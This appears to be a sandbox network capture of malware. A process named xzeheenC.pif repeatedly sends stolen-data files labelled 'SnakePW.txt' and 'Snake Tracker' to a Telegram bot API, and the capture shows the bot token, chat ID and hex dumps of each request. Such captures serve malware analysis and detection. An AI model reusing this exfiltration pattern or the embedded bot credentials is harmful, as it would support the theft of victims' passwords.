2024-12-18 15:17:02 UTC	352	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f4d1c06ddc3 Host: api.telegram.org Content-Length: 535 Connection: Keep-Alive
2024-12-18 15:17:02 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 34 64 31 63 30 36 64 64 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f4d1c06ddc3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:03 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:03 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:03 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49782	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:11 UTC	352	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f4d2162bfeb Host: api.telegram.org Content-Length: 535 Connection: Keep-Alive
2024-12-18 15:17:11 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 34 64 32 31 36 32 62 66 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f4d2162bfebContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:16 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:16 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 36 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 33 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418638,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535036,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49790	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:14 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f4d27f0447e Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:14 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 34 64 32 37 66 30 34 34 37 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f4d27f0447eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:16 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:16 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 36 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 33 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418640,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535036,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49799	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:17 UTC	352	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f4d24e5b12f Host: api.telegram.org Content-Length: 535 Connection: Keep-Alive
2024-12-18 15:17:17 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 34 64 32 34 65 35 62 31 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f4d24e5b12fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:17:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:20 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:21 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 36 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 34 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418684,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535040,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49800	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:18 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f7b1dfba8e0 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:18 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 37 62 31 64 66 62 61 38 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f7b1dfba8e0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:20 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:21 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 36 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 34 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418688,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535040,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49812	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:22 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1facead84021 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:22 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 61 63 65 61 64 38 34 30 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1facead84021Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:28 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:28 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 37 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 34 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418753,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535048,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49821	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:27 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1f4d2fc2fa98 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:27 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 66 34 64 32 66 63 32 66 61 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd1f4d2fc2fa98Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:17:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:28 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:28 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 37 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 34 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418755,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535048,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49829	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:17:30 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2000757d4a82 Host: api.telegram.org Content-Length: 535
2024-12-18 15:17:30 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 30 30 37 35 37 64 34 61 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2000757d4a82Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:17:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:34 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
